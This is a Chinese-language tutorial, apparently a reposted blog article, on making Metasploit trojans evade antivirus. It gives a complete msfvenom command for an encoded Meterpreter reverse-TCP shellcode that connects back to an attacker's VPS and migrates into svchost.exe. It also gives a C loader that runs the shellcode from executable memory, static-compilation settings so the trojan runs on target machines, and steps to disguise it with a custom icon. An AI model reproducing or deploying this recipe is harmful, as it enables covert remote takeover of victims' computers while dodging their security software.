本文主要是介绍MSF木马的免杀(三),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
MSF木马的免杀
C/C++加载免杀
加图标
MSF木马的免杀
MSF下输入下列命令,生成免杀shellcode
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST=x.x.x.x LPORT=8888 -e x86/shikata_ga_nai -i 15 -b '\x00\' PrependMigrate=true PrependMigrateProc=svchost.exe -f c > shellcode.c
这里的 payload 选择 windows/meterpreter/reverse_tcp,LHOST和LPORT分别填VPS的地址和MSF监听的端口,-e x86/shikata_ga_nai -i 15 是用 x86/shikata_ga_nai 编码 15 次(建议编码12次以上),而 PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到 svchost.exe 进程。
会生成 shellcode.c 文件,打开该文件如图所示:
C/C++加载免杀
然后在VS中新建一个C++项目,我这里在VS2012中新建一个c++的win32项目,然后将下面的代码复制进去,再将shellcode.c里面的那些复制到shellcode的位置。
#include<stdio.h>
#include<windows.h>#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[]= 这里填shellcode;
void main(){LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}
如下,点击生成解决方案,之后会生成一个exe程序
生成的exe程序即是免杀之后的木马程序。还可以进行其他伪装,比如修改图标,修改程序名等。
如果直接把该程序拿到win7或server2008之类的虚拟机去执行,可能会提示缺少dll文件。这是因为我们在编译程序的过程中是使用的动态编译,如果目标机器不存在相关的dll文件就会报此错误。
解决办法就是我们在编译程序的时候,选择静态编译的方法。静态编译就是在编译可执行文件的时候,将可执行文件需要调用的对应动态链接库(.dll)中的部分提取出来,链接到可执行文件中去,使可执行文件在运行的时候不依赖动态链接库。但是这样使用静态编译的方法可能会导致编译出来的程序会偏大。
静态编译,需要如下配置:
- 右键项目 -> 属性 -> 配置属性 -> 高级 -> MFC的使用:在静态库中使用MFC
- 右键项目 -> 属性 -> C/C++ -> 代码生成 -> 运行库:选择 多线程(/MT)
- 编译时选择Debug x86
然后重新 生成——>重新生成解决方案 进行编译。然后在目标机器运行,我们就可以收到弹回的session了。
加图标
如果想对木马加图标的话,右键项目——>添加——>资源
然后选择icon
这样就会在程序目录下生成一个icon1.ico文件,我们用自己的ico图标将该文件替换。
重新编译,生成的exe程序就是我们指定的图标了。
注:貌似现在这种免杀方法也会被查杀了
这篇关于MSF木马的免杀(三)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!